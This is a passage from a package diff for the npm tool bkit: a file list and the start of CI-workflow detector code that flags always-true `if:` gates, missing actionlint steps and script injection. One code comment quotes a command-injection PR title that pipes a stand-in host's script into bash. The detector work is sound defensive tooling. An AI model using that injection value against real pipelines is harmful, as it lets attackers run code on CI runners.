@cbartens/bkit 0.0.0-stage → 5.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (375) hide show
  1. package/.bkit/README.md +417 -0
  2. package/.bkit/core/.agents/context.md +95 -0
  3. package/.bkit/core/.agents/docs.md +62 -0
  4. package/.bkit/core/.agents/rules.md +147 -0
  5. package/.bkit/core/.agents/skills.md +43 -0
  6. package/.bkit/core/.bkit/LICENSE.md +151 -0
  7. package/.bkit/core/.bkit/README.md +417 -0
  8. package/.bkit/core/.bkit/cloud.md +493 -0
  9. package/.bkit/core/.bkit/comparison.md +321 -0
  10. package/.bkit/core/.bkit/install.md +401 -0
  11. package/.bkit/core/.bkit/jsonl.md +497 -0
  12. package/.bkit/core/.bkit/prompts.md +474 -0
  13. package/.bkit/core/.bkit/providers.md +598 -0
  14. package/.bkit/core/.bkit/templates.md +470 -0
  15. package/.bkit/core/.bkit/trackers.md +95 -0
  16. package/.bkit/core/.bkit/workflows.md +1550 -0
  17. package/.bkit/core/.claude/hooks/bkit-gateguard.cjs +82 -0
  18. package/.bkit/core/.claude/hooks/bkit-guardrails.cjs +93 -0
  19. package/.bkit/core/.claude/hooks/bkit-preflight.sh +74 -0
  20. package/.bkit/core/.codex/hooks/bkit-gateguard.cjs +115 -0
  21. package/.bkit/core/.codex/hooks/bkit-guardrails.cjs +135 -0
  22. package/.bkit/core/.cursor/hooks/bkit-gateguard.cjs +111 -0
  23. package/.bkit/core/.cursor/hooks/bkit-guardrails.cjs +169 -0
  24. package/.bkit/core/.cursor/hooks/bkit-preflight.sh +63 -0
  25. package/.bkit/core/.opencode/plugin/bkit-gateguard.js +225 -0
  26. package/.bkit/core/AGENTS.md +77 -0
  27. package/.bkit/core/LICENSE.md +149 -0
  28. package/.bkit/core/docs/templates/bkit-audit-accessibility.md +272 -0
  29. package/.bkit/core/docs/templates/bkit-audit-adoption.md +223 -0
  30. package/.bkit/core/docs/templates/bkit-audit-agents.md +230 -0
  31. package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +227 -0
  32. package/.bkit/core/docs/templates/bkit-audit-analytics.md +266 -0
  33. package/.bkit/core/docs/templates/bkit-audit-annotations.md +230 -0
  34. package/.bkit/core/docs/templates/bkit-audit-app-performance.md +270 -0
  35. package/.bkit/core/docs/templates/bkit-audit-app-store.md +254 -0
  36. package/.bkit/core/docs/templates/bkit-audit-architecture.md +221 -0
  37. package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +241 -0
  38. package/.bkit/core/docs/templates/bkit-audit-config.md +230 -0
  39. package/.bkit/core/docs/templates/bkit-audit-cost.md +218 -0
  40. package/.bkit/core/docs/templates/bkit-audit-coverage.md +221 -0
  41. package/.bkit/core/docs/templates/bkit-audit-database.md +229 -0
  42. package/.bkit/core/docs/templates/bkit-audit-dead-code.md +251 -0
  43. package/.bkit/core/docs/templates/bkit-audit-deferrals.md +283 -0
  44. package/.bkit/core/docs/templates/bkit-audit-dependencies.md +268 -0
  45. package/.bkit/core/docs/templates/bkit-audit-documentation.md +280 -0
  46. package/.bkit/core/docs/templates/bkit-audit-duplication.md +253 -0
  47. package/.bkit/core/docs/templates/bkit-audit-failures.md +259 -0
  48. package/.bkit/core/docs/templates/bkit-audit-flakes.md +237 -0
  49. package/.bkit/core/docs/templates/bkit-audit-gates.md +250 -0
  50. package/.bkit/core/docs/templates/bkit-audit-issues.md +273 -0
  51. package/.bkit/core/docs/templates/bkit-audit-llm.md +239 -0
  52. package/.bkit/core/docs/templates/bkit-audit-logs.md +266 -0
  53. package/.bkit/core/docs/templates/bkit-audit-models.md +210 -0
  54. package/.bkit/core/docs/templates/bkit-audit-privacy.md +211 -0
  55. package/.bkit/core/docs/templates/bkit-audit-prompts.md +216 -0
  56. package/.bkit/core/docs/templates/bkit-audit-red-team.md +220 -0
  57. package/.bkit/core/docs/templates/bkit-audit-reliability.md +222 -0
  58. package/.bkit/core/docs/templates/bkit-audit-repo.md +224 -0
  59. package/.bkit/core/docs/templates/bkit-audit-security.md +274 -0
  60. package/.bkit/core/docs/templates/bkit-audit-slop.md +200 -0
  61. package/.bkit/core/docs/templates/bkit-audit-testing.md +270 -0
  62. package/.bkit/core/docs/templates/bkit-audit-usability.md +237 -0
  63. package/.bkit/core/docs/templates/bkit-plan.md +476 -0
  64. package/.bkit/core/engine/checks/after/auth.ts +149 -0
  65. package/.bkit/core/engine/checks/after/ci-yml.ts +701 -0
  66. package/.bkit/core/engine/checks/after/github.ts +424 -0
  67. package/.bkit/core/engine/checks/after/index.ts +530 -0
  68. package/.bkit/core/engine/checks/after/managed.ts +217 -0
  69. package/.bkit/core/engine/checks/after/suppression.ts +53 -0
  70. package/.bkit/core/engine/checks/after/tools.ts +427 -0
  71. package/.bkit/core/engine/checks/before/context-fetch.ts +429 -0
  72. package/.bkit/core/engine/checks/before/env.ts +187 -0
  73. package/.bkit/core/engine/checks/before/files.ts +204 -0
  74. package/.bkit/core/engine/checks/before/index.ts +206 -0
  75. package/.bkit/core/engine/checks/before/mcp.ts +127 -0
  76. package/.bkit/core/engine/checks/before/repo.ts +77 -0
  77. package/.bkit/core/engine/checks/before/version.ts +67 -0
  78. package/.bkit/core/engine/checks/status-holes.ts +479 -0
  79. package/.bkit/core/engine/cli.ts +867 -0
  80. package/.bkit/core/engine/commands/analysis.ts +550 -0
  81. package/.bkit/core/engine/commands/ci/ci.ts +483 -0
  82. package/.bkit/core/engine/commands/comply.ts +415 -0
  83. package/.bkit/core/engine/commands/harvest.ts +459 -0
  84. package/.bkit/core/engine/commands/install/check.ts +70 -0
  85. package/.bkit/core/engine/commands/install/doctor.ts +254 -0
  86. package/.bkit/core/engine/commands/install/install.ts +550 -0
  87. package/.bkit/core/engine/commands/install/uninstall.ts +995 -0
  88. package/.bkit/core/engine/commands/install/upgrade.ts +1037 -0
  89. package/.bkit/core/engine/commands/launch.ts +139 -0
  90. package/.bkit/core/engine/commands/lib.ts +495 -0
  91. package/.bkit/core/engine/commands/registry.ts +53 -0
  92. package/.bkit/core/engine/commands/setup/setup.ts +184 -0
  93. package/.bkit/core/engine/commands/telemetry.ts +32 -0
  94. package/.bkit/core/engine/commands/workflow/branches.ts +1514 -0
  95. package/.bkit/core/engine/commands/workflow/context.ts +961 -0
  96. package/.bkit/core/engine/commands/workflow/counters.ts +268 -0
  97. package/.bkit/core/engine/commands/workflow/fids.ts +243 -0
  98. package/.bkit/core/engine/commands/workflow/issues.ts +675 -0
  99. package/.bkit/core/engine/commands/workflow/ledgers.ts +575 -0
  100. package/.bkit/core/engine/commands/workflow/locks.ts +478 -0
  101. package/.bkit/core/engine/commands/workflow/prs.ts +1087 -0
  102. package/.bkit/core/engine/commands/workflow/repo.ts +220 -0
  103. package/.bkit/core/engine/commands/workflow/roadmap.ts +576 -0
  104. package/.bkit/core/engine/commands/workflow/runs.ts +2140 -0
  105. package/.bkit/core/engine/commands/workflow/runtime.ts +300 -0
  106. package/.bkit/core/engine/commands/workflow/skills.ts +118 -0
  107. package/.bkit/core/engine/commands/workflow/status.ts +455 -0
  108. package/.bkit/core/engine/commands/workflow/steps.ts +1300 -0
  109. package/.bkit/core/engine/commands/workflow/tests.ts +161 -0
  110. package/.bkit/core/engine/commands/workflow/workflows.ts +1573 -0
  111. package/.bkit/core/engine/commands/workflow/workstreams.ts +164 -0
  112. package/.bkit/core/engine/commands/workflow/worktrees.ts +534 -0
  113. package/.bkit/core/engine/install/cloud-env.ts +924 -0
  114. package/.bkit/core/engine/install/managed-block.ts +212 -0
  115. package/.bkit/core/engine/install/manifest.ts +448 -0
  116. package/.bkit/core/engine/install/modules/claude.ts +362 -0
  117. package/.bkit/core/engine/install/modules/cloud.ts +173 -0
  118. package/.bkit/core/engine/install/modules/codex.ts +219 -0
  119. package/.bkit/core/engine/install/modules/core.ts +620 -0
  120. package/.bkit/core/engine/install/modules/cursor.ts +231 -0
  121. package/.bkit/core/engine/install/modules/index.ts +242 -0
  122. package/.bkit/core/engine/install/modules/opencode.ts +573 -0
  123. package/.bkit/core/engine/install/payload-links.ts +150 -0
  124. package/.bkit/core/engine/install/placeholders.ts +108 -0
  125. package/.bkit/core/engine/install/template-copies.ts +119 -0
  126. package/.bkit/core/engine/install/version-file.ts +284 -0
  127. package/.bkit/core/engine/install/write.ts +467 -0
  128. package/.bkit/core/engine/ledgers/clamp-log.ts +32 -0
  129. package/.bkit/core/engine/ledgers/status.ts +213 -0
  130. package/.bkit/core/engine/ledgers/telemetry.ts +1143 -0
  131. package/.bkit/core/engine/render/hosts.ts +372 -0
  132. package/.bkit/core/engine/render/models.ts +323 -0
  133. package/.bkit/core/engine/render/parts.ts +38 -0
  134. package/.bkit/core/engine/render/trackers.ts +170 -0
  135. package/.bkit/core/engine/shared/egress.ts +345 -0
  136. package/.bkit/core/engine/shared/json.ts +16 -0
  137. package/.bkit/core/engine/shared/log-prefix.ts +9 -0
  138. package/.bkit/core/engine/shared/package-json.ts +29 -0
  139. package/.bkit/core/engine/shared/package-manager.ts +38 -0
  140. package/.bkit/core/engine/shared/package-roots.ts +163 -0
  141. package/.bkit/core/engine/shared/protected-paths.ts +164 -0
  142. package/.bkit/core/engine/shared/settings.ts +72 -0
  143. package/.bkit/core/engine/shared/timeouts.ts +20 -0
  144. package/.bkit/core/engine/tools/wording.ts +748 -0
  145. package/.bkit/core/hooks/gateguard-edit-payload.js +18 -0
  146. package/.bkit/core/hooks/gateguard-engine.js +193 -0
  147. package/.bkit/core/hooks/guardrails-shell.js +154 -0
  148. package/.bkit/core/hooks/guardrails-tiers.js +68 -0
  149. package/.bkit/core/hooks/preflight-linear.sh +73 -0
  150. package/.bkit/core/prompts/bkit-audit-generate.md +66 -0
  151. package/.bkit/core/prompts/bkit-build-challenge-1.md +79 -0
  152. package/.bkit/core/prompts/bkit-build-challenge-2.md +81 -0
  153. package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +68 -0
  154. package/.bkit/core/prompts/bkit-build-challenge-remediate.md +70 -0
  155. package/.bkit/core/prompts/bkit-build-challenge-tests.md +73 -0
  156. package/.bkit/core/prompts/bkit-build-install-skills.md +67 -0
  157. package/.bkit/core/prompts/bkit-build-plan-current.md +75 -0
  158. package/.bkit/core/prompts/bkit-build-plan-execute.md +72 -0
  159. package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +73 -0
  160. package/.bkit/core/prompts/bkit-build-plan-verify.md +88 -0
  161. package/.bkit/core/prompts/bkit-build-summary.md +93 -0
  162. package/.bkit/core/prompts/bkit-debug-abort-handover.md +90 -0
  163. package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +151 -0
  164. package/.bkit/core/prompts/bkit-debug-failure-remediate.md +78 -0
  165. package/.bkit/core/prompts/bkit-debug-failure-soak.md +73 -0
  166. package/.bkit/core/prompts/bkit-debug-summary.md +95 -0
  167. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +72 -0
  168. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +72 -0
  169. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +75 -0
  170. package/.bkit/core/prompts/bkit-design-generate.md +110 -0
  171. package/.bkit/core/prompts/bkit-design-organise.md +85 -0
  172. package/.bkit/core/prompts/bkit-design-review-1.md +121 -0
  173. package/.bkit/core/prompts/bkit-design-review-2.md +111 -0
  174. package/.bkit/core/prompts/bkit-design-spike.md +97 -0
  175. package/.bkit/core/prompts/bkit-design-summary.md +106 -0
  176. package/.bkit/core/prompts/bkit-design-update.md +66 -0
  177. package/.bkit/core/prompts/bkit-plan-complexity-check.md +66 -0
  178. package/.bkit/core/prompts/bkit-plan-complexity-split.md +87 -0
  179. package/.bkit/core/prompts/bkit-plan-generate.md +74 -0
  180. package/.bkit/core/prompts/bkit-plan-review-1.md +90 -0
  181. package/.bkit/core/prompts/bkit-plan-review-2.md +80 -0
  182. package/.bkit/core/prompts/bkit-plan-review-3.md +92 -0
  183. package/.bkit/core/prompts/bkit-plan-scope-check-1.md +84 -0
  184. package/.bkit/core/prompts/bkit-plan-scope-check-2.md +84 -0
  185. package/.bkit/core/prompts/bkit-plan-summary.md +106 -0
  186. package/.bkit/core/prompts/bkit-plan-update.md +68 -0
  187. package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +90 -0
  188. package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +94 -0
  189. package/.bkit/core/prompts/bkit-ship-summary.md +77 -0
  190. package/.bkit/core/prompts/bkit-ship-update-docs.md +71 -0
  191. package/.bkit/core/prompts/bkit-utility-compress-markdown.md +91 -0
  192. package/.bkit/core/prompts/bkit-utility-update-decisions.md +75 -0
  193. package/.bkit/core/prompts/bkit-utility-update-deferrals.md +76 -0
  194. package/.bkit/core/prompts/bkit-utility-update-documentation.md +61 -0
  195. package/.bkit/core/prompts/bkit-utility-update-failures.md +76 -0
  196. package/.bkit/core/prompts/bkit-utility-update-knowledge.md +75 -0
  197. package/.bkit/core/prompts/bkit-utility-update-roadmap.md +82 -0
  198. package/.bkit/core/workflows/bkit-auto.md +121 -0
  199. package/.bkit/core/workflows/bkit-build.md +802 -0
  200. package/.bkit/core/workflows/bkit-debug.md +649 -0
  201. package/.bkit/core/workflows/bkit-design.md +495 -0
  202. package/.bkit/core/workflows/bkit-plan.md +510 -0
  203. package/.bkit/core/workflows/bkit-ship.md +650 -0
  204. package/.bkit/shared/.bkit/.env.example +86 -0
  205. package/.bkit/shared/.claude/bkit-cloud.md +117 -0
  206. package/.bkit/shared/.claude/settings.json +88 -0
  207. package/.bkit/shared/.codex/hooks.json +26 -0
  208. package/.bkit/shared/.cursor/bkit-cloud.md +84 -0
  209. package/.bkit/shared/.cursor/hooks.json +26 -0
  210. package/.bkit/shared/.cursor/mcp.json +15 -0
  211. package/.bkit/shared/.cursor/rules/bkit-rules.mdc +12 -0
  212. package/.bkit/shared/.gitattributes +37 -0
  213. package/.bkit/shared/.mcp.json +16 -0
  214. package/.bkit/shared/.opencode/opencode.json +62 -0
  215. package/.bkit/shared/CLAUDE.md +11 -0
  216. package/.bkit/shared/LICENSE.md +22 -0
  217. package/.bkit/shared/docs/architecture.md +19 -0
  218. package/.bkit/shared/docs/data-schema.md +19 -0
  219. package/.bkit/shared/docs/deployments.md +433 -0
  220. package/.bkit/shared/docs/design.md +39 -0
  221. package/.bkit/shared/docs/noise.md +19 -0
  222. package/.bkit/shared/docs/observability.md +25 -0
  223. package/.bkit/shared/docs/security.md +42 -0
  224. package/.bkit/shared/docs/setup.md +30 -0
  225. package/.bkit/shared/docs/technology.md +18 -0
  226. package/.bkit/shared/docs/testing.md +413 -0
  227. package/.bkit/shared/gitignore +97 -0
  228. package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +187 -0
  229. package/.bkit/templates/.cursor/Dockerfile +68 -0
  230. package/.bkit/templates/.cursor/environment.json +6 -0
  231. package/.bkit/templates/.cursor/settings.json +11 -0
  232. package/.bkit/templates/.envrc +7 -0
  233. package/.bkit/templates/.github/dependabot.yml +52 -0
  234. package/.bkit/templates/.github/renovate.json5 +224 -0
  235. package/.bkit/templates/.github/workflows/bkit-ci.yml +1062 -0
  236. package/.bkit/templates/.github/workflows/bkit-cloud.yml +564 -0
  237. package/.bkit/templates/.github/workflows/bkit-renovate.yml +102 -0
  238. package/.bkit/templates/.graphifyignore +108 -0
  239. package/.bkit/templates/.husky/pre-commit +16 -0
  240. package/.bkit/templates/.husky/pre-push +91 -0
  241. package/.bkit/templates/.lintstagedrc.json +3 -0
  242. package/.bkit/templates/.prettierignore +41 -0
  243. package/.bkit/templates/.serena/project.yml +243 -0
  244. package/.bkit/templates/.vale/styles/House/Filler.yml +11 -0
  245. package/.bkit/templates/.vale/styles/House/Hedging.yml +12 -0
  246. package/.bkit/templates/.vale/styles/House/LLMSlop.yml +13 -0
  247. package/.bkit/templates/.vale/styles/House/Verbose.yml +12 -0
  248. package/.bkit/templates/.vale.ini +67 -0
  249. package/.bkit/templates/LICENSE.md +22 -0
  250. package/.bkit/templates/context/bkit-cloudrun.md +84 -0
  251. package/.bkit/templates/context/bkit-expo.md +186 -0
  252. package/.bkit/templates/context/bkit-github.md +79 -0
  253. package/.bkit/templates/context/bkit-inngest.md +45 -0
  254. package/.bkit/templates/context/bkit-maestro.md +76 -0
  255. package/.bkit/templates/context/bkit-playwright.md +62 -0
  256. package/.bkit/templates/context/bkit-resend.md +36 -0
  257. package/.bkit/templates/context/bkit-sentry.md +65 -0
  258. package/.bkit/templates/context/bkit-serena.md +33 -0
  259. package/.bkit/templates/context/bkit-stripe.md +36 -0
  260. package/.bkit/templates/context/bkit-supabase.md +59 -0
  261. package/.bkit/templates/context/bkit-tavily.md +49 -0
  262. package/.bkit/templates/context/bkit-vercel.md +64 -0
  263. package/.bkit/templates/docs/capabilities.md +72 -0
  264. package/.bkit/templates/scripts/ci/accepted-divergences.json +21 -0
  265. package/.bkit/templates/scripts/ci/check-accepted-divergences.mjs +152 -0
  266. package/.bkit/templates/scripts/ci/check-accepted-divergences.test.mjs +130 -0
  267. package/.bkit/templates/scripts/ci/lanes/resolve-push-base.mjs +98 -0
  268. package/.bkit/templates/scripts/ci/lanes/resolve-push-base.test.mjs +86 -0
  269. package/.bkit/templates/scripts/graphify/bkit-graph-drift-rules.json +23 -0
  270. package/.bkit/templates/scripts/graphify/bkit-graph-drift.py +208 -0
  271. package/.bkit/templates/scripts/graphify/bkit-graph-eager-rules.json +35 -0
  272. package/.bkit/templates/scripts/graphify/bkit-graph-eager.py +236 -0
  273. package/.bkit/templates/scripts/graphify/bkit-graph-external-rules.json +17 -0
  274. package/.bkit/templates/scripts/graphify/bkit-graph-imports.py +290 -0
  275. package/.bkit/templates/scripts/graphify/bkit-graph-pre-push.sh +19 -0
  276. package/.bkit/templates/scripts/graphify/bkit-graph-repair.py +120 -0
  277. package/.bkit/templates/scripts/graphify/bkit-graph-surface.py +232 -0
  278. package/.bkit/templates/scripts/graphify/bkit-graphify-graphml.py +36 -0
  279. package/.bkit/templates/scripts/graphify/bkit-graphify-rollup.py +927 -0
  280. package/.bkit/templates/scripts/graphify/bkit-graphify.sh +351 -0
  281. package/.bkit/templates/scripts/launchd/ai.bkit.launchd.plist +26 -0
  282. package/.bkit/templates/scripts/launchd/bkit-launchd-env.sh +53 -0
  283. package/.bkit/templates/scripts/launchd/launchd.env.example +13 -0
  284. package/.bkit/templates/scripts/prettier/bkit-insert-ignore.mjs +275 -0
  285. package/.bkit/templates/scripts/secrets/bkit-secrets.config.mjs +66 -0
  286. package/.bkit/templates/scripts/secrets/bkit-secrets.mjs +785 -0
  287. package/.bkit/templates/scripts/serena/bkit-serena-mcp.sh +30 -0
  288. package/.bkit/templates/scripts/serena/bkit-serena.mcp.json +9 -0
  289. package/.bkit/templates/scripts/slop/bkit-slop-type-suppression.mjs +286 -0
  290. package/.bkit/templates/slop-scan.config.json +120 -0
  291. package/CHANGELOG.md +1503 -0
  292. package/LICENSE.md +161 -0
  293. package/README.md +184 -2
  294. package/dist/checks/after/auth.js +140 -0
  295. package/dist/checks/after/ci-yml.js +681 -0
  296. package/dist/checks/after/github.js +400 -0
  297. package/dist/checks/after/index.js +431 -0
  298. package/dist/checks/after/managed.js +187 -0
  299. package/dist/checks/after/suppression.js +39 -0
  300. package/dist/checks/after/tools.js +351 -0
  301. package/dist/checks/before/context-fetch.js +426 -0
  302. package/dist/checks/before/env.js +163 -0
  303. package/dist/checks/before/files.js +187 -0
  304. package/dist/checks/before/index.js +162 -0
  305. package/dist/checks/before/mcp.js +111 -0
  306. package/dist/checks/before/repo.js +71 -0
  307. package/dist/checks/before/version.js +60 -0
  308. package/dist/checks/status-holes.js +393 -0
  309. package/dist/cli.js +688 -0
  310. package/dist/commands/analysis.js +325 -0
  311. package/dist/commands/ci/ci.js +438 -0
  312. package/dist/commands/comply.js +310 -0
  313. package/dist/commands/harvest.js +354 -0
  314. package/dist/commands/install/check.js +61 -0
  315. package/dist/commands/install/doctor.js +209 -0
  316. package/dist/commands/install/install.js +475 -0
  317. package/dist/commands/install/uninstall.js +839 -0
  318. package/dist/commands/install/upgrade.js +782 -0
  319. package/dist/commands/launch.js +118 -0
  320. package/dist/commands/lib.js +363 -0
  321. package/dist/commands/registry.js +50 -0
  322. package/dist/commands/setup/setup.js +158 -0
  323. package/dist/commands/telemetry.js +29 -0
  324. package/dist/commands/workflow/branches.js +1265 -0
  325. package/dist/commands/workflow/context.js +846 -0
  326. package/dist/commands/workflow/counters.js +227 -0
  327. package/dist/commands/workflow/fids.js +224 -0
  328. package/dist/commands/workflow/issues.js +585 -0
  329. package/dist/commands/workflow/ledgers.js +472 -0
  330. package/dist/commands/workflow/locks.js +364 -0
  331. package/dist/commands/workflow/prs.js +904 -0
  332. package/dist/commands/workflow/repo.js +199 -0
  333. package/dist/commands/workflow/roadmap.js +495 -0
  334. package/dist/commands/workflow/runs.js +1717 -0
  335. package/dist/commands/workflow/runtime.js +257 -0
  336. package/dist/commands/workflow/skills.js +110 -0
  337. package/dist/commands/workflow/status.js +392 -0
  338. package/dist/commands/workflow/steps.js +1093 -0
  339. package/dist/commands/workflow/tests.js +144 -0
  340. package/dist/commands/workflow/workflows.js +1342 -0
  341. package/dist/commands/workflow/workstreams.js +141 -0
  342. package/dist/commands/workflow/worktrees.js +473 -0
  343. package/dist/install/cloud-env.js +818 -0
  344. package/dist/install/managed-block.js +182 -0
  345. package/dist/install/manifest.js +376 -0
  346. package/dist/install/modules/claude.js +288 -0
  347. package/dist/install/modules/cloud.js +151 -0
  348. package/dist/install/modules/codex.js +193 -0
  349. package/dist/install/modules/core.js +531 -0
  350. package/dist/install/modules/cursor.js +186 -0
  351. package/dist/install/modules/index.js +152 -0
  352. package/dist/install/modules/opencode.js +504 -0
  353. package/dist/install/payload-links.js +119 -0
  354. package/dist/install/placeholders.js +87 -0
  355. package/dist/install/template-copies.js +106 -0
  356. package/dist/install/version-file.js +204 -0
  357. package/dist/install/write.js +342 -0
  358. package/dist/ledgers/clamp-log.js +27 -0
  359. package/dist/ledgers/status.js +156 -0
  360. package/dist/ledgers/telemetry.js +637 -0
  361. package/dist/render/hosts.js +339 -0
  362. package/dist/render/models.js +288 -0
  363. package/dist/render/parts.js +33 -0
  364. package/dist/render/trackers.js +135 -0
  365. package/dist/shared/egress.js +299 -0
  366. package/dist/shared/json.js +16 -0
  367. package/dist/shared/log-prefix.js +7 -0
  368. package/dist/shared/package-json.js +22 -0
  369. package/dist/shared/package-manager.js +32 -0
  370. package/dist/shared/package-roots.js +145 -0
  371. package/dist/shared/protected-paths.js +153 -0
  372. package/dist/shared/settings.js +44 -0
  373. package/dist/shared/timeouts.js +19 -0
  374. package/dist/tools/wording.js +680 -0
  375. package/package.json +101 -4
@@ -0,0 +1,681 @@
1
+ // checks/after/ci-yml.ts — the consumer's CI workflows: token env, actionlint, run injection,
2
+ // the capstone contract, the cloud gate, floating action tags, tagged tests without a CI home,
3
+ // run levels, turbo inputs and the integration env.
4
+ import * as fs from "node:fs";
5
+ import * as path from "node:path";
6
+ import { readPackageJson } from "../../shared/package-json.js";
7
+ import { isAdvisorySuppressed } from "./suppression.js";
8
+ // ---------------------------------------------------------------------------
9
+ // Other post-install detectors
10
+ // ---------------------------------------------------------------------------
11
+ /**
12
+ * Detect the always-true `if:` gate in `.github/workflows/bkit-cloud.yml`: a `|`
13
+ * block scalar wrapping ${{ }}. GitHub Actions sees extra characters around ${{ }}
14
+ * (the block scalar's newlines) and evaluates the whole condition to a non-empty
15
+ * string === always true — so the free-tier `bkit [auto route]` gate never fires and
16
+ * the run job executes on every triggering event (unintended runner-minute spend).
17
+ *
18
+ * Fires only while the broken construct is present; the fixed form is a `>-` folded
19
+ * expression with no ${{ }} wrapper. bkit-cloud.yml is the consumer's copy of a
20
+ * template and bkit never rewrites it, so the action inlines the manual fix.
21
+ */
22
+ export function detectBkitCloudYmlAlwaysTrueGate(cwd) {
23
+ const cloudPath = path.join(cwd, ".github", "workflows", "bkit-cloud.yml");
24
+ if (!fs.existsSync(cloudPath))
25
+ return null;
26
+ const content = fs.readFileSync(cloudPath, "utf-8");
27
+ // Broken construct: an `if:` block scalar (`|` / `>`) whose first content line is ${{.
28
+ if (!/^\s*if:\s*[|>][^\n]*\n\s*\$\{\{/m.test(content))
29
+ return null;
30
+ return {
31
+ id: "bkit-auto-yml-always-true-gate",
32
+ severity: "advisory",
33
+ detect: ".github/workflows/bkit-cloud.yml writes its auto-route `if:` gate as a `|` block scalar wrapping ${{ }} — GitHub Actions evaluates this to a non-empty string (always true), so the free-tier `bkit [auto route]` gate never fires and the job runs on every triggering event.",
34
+ action: "Replace the auto-route job's `if: |` block scalar with a `>-` folded expression that drops the ${{ }} wrapper (GitHub Actions evaluates `if:` expressions natively):\n\n" +
35
+ " if: >-\n" +
36
+ " github.event_name == 'workflow_dispatch'\n" +
37
+ " || (\n" +
38
+ " (github.event.workflow_run.conclusion == 'success' || github.event.workflow_run.conclusion == 'failure')\n" +
39
+ " && contains(github.event.workflow_run.head_commit.message, 'bkit [auto route]')\n" +
40
+ " )\n\n" +
41
+ "Validate with `actionlint` — the `[if-cond]` finding disappears once the wrapper is gone.",
42
+ };
43
+ }
44
+ /**
45
+ * Matches a `.github/workflows/bkit-ci.yml` copied from the bkit-ci.yml template: an uncommented
46
+ * job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
47
+ * carries.
48
+ */
49
+ const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
50
+ /**
51
+ * Detect a `.github/workflows/bkit-ci.yml` adopted from bkit's template with no `actionlint` step.
52
+ * `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
53
+ * but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
54
+ * scalars). actionlint is GHA-aware and catches that class.
55
+ *
56
+ * Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
57
+ * bkit-ci.yml is the consumer's file, so `bkit install` never adds the step — the action
58
+ * inlines the manual step.
59
+ */
60
+ export function detectCiYmlMissingActionlint(cwd) {
61
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
62
+ if (!fs.existsSync(ciPath))
63
+ return null;
64
+ const content = fs.readFileSync(ciPath, "utf-8");
65
+ if (!ADOPTED_CI_JOB_RE.test(content))
66
+ return null;
67
+ if (/actionlint/i.test(content))
68
+ return null;
69
+ return {
70
+ id: "ci-yml-missing-actionlint",
71
+ severity: "advisory",
72
+ detect: ".github/workflows/bkit-ci.yml (adopted from bkit's template) has no actionlint step. yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
73
+ action: "Add an actionlint step among the static checks in .github/workflows/bkit-ci.yml (before the test/build group):\n\n" +
74
+ " - name: Run actionlint\n" +
75
+ " if: steps.cache.outputs.skip != 'true'\n" +
76
+ " run: |\n" +
77
+ ' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
78
+ ' bash "$RUNNER_TEMP/download-actionlint.bash" 1.7.12 "$RUNNER_TEMP"\n' +
79
+ ' "$RUNNER_TEMP/actionlint" -color',
80
+ };
81
+ }
82
+ /**
83
+ * Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
84
+ * body in `.github/workflows/bkit-ci.yml` — the classic GHA script-injection sink. A PR titled
85
+ * `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
86
+ * (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
87
+ * the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
88
+ * re-parses them as shell). bkit-ci.yml is the consumer's file — bkit's template was hardened but
89
+ * nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
90
+ * This surfaces it as a dedicated security finding.
91
+ *
92
+ * Line-based (no YAML dep, like the sibling bkit-ci.yml detectors): tracks `run:` blocks by
93
+ * indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
94
+ * `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
95
+ * not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
96
+ * silent. Only scans a bkit-ci.yml adopted from bkit's template (ADOPTED_CI_JOB_RE).
97
+ */
98
+ export function detectCiYmlRunInjection(cwd) {
99
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
100
+ if (!fs.existsSync(ciPath))
101
+ return null;
102
+ const content = fs.readFileSync(ciPath, "utf-8");
103
+ if (!ADOPTED_CI_JOB_RE.test(content))
104
+ return null;
105
+ // Attacker-controllable payload contexts: any github.event.* field and github.head_ref.
106
+ // github.base_ref / github.event_name / SHAs are constrained values and are excluded
107
+ // (the shipped commented stubs reference github.base_ref).
108
+ const UNTRUSTED = /\$\{\{[^}]*\b(?:github\.event\.[\w.]+|github\.head_ref)\b[^}]*\}\}/;
109
+ const indentOf = (l) => l.length - l.replace(/^[ \t]*/, "").length;
110
+ const hits = [];
111
+ let runKeyIndent = null; // indent of an active `run:` key; its body is deeper
112
+ for (const line of content.split("\n")) {
113
+ if (runKeyIndent !== null) {
114
+ if (line.trim() === "")
115
+ continue; // blank lines belong to the block scalar
116
+ if (indentOf(line) <= runKeyIndent) {
117
+ runKeyIndent = null; // block ended — re-examine this line below
118
+ }
119
+ else {
120
+ if (UNTRUSTED.test(line))
121
+ hits.push(line.trim());
122
+ continue;
123
+ }
124
+ }
125
+ if (/^\s*#/.test(line))
126
